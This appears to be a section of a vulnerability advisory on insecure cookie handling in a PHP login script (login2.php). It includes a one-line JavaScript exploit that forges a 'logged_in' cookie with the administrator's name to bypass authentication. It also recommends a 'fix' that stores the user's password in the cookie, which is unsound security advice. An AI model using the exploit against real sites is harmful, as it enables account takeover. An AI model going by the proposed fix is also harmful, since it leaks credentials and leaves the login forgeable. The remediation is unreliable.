[0x02] Bug: [Insecure Cookie Handling]
######

Bugged file is: /[path]/login2.php

[CODE]

	else {
	setcookie("logged_in", $login_user_name, time()+60*60*24*$logged_in_for, "/");
	header("Location: index.php");
	exit;
	}

[/CODE]

If we log in correctly, a cookie is set with name "logged_in" and as content the username name.

[!] FIX: Set as content username's password.

[CODE] setcookie("logged_in", $login_password, time()+60*60*24*$logged_in_for, "/"); [/CODE]


[!] EXPLOIT: javascript:document.cookie = "logged_in=admin_username; path=/";
             *admin_username is the nick of the administrator
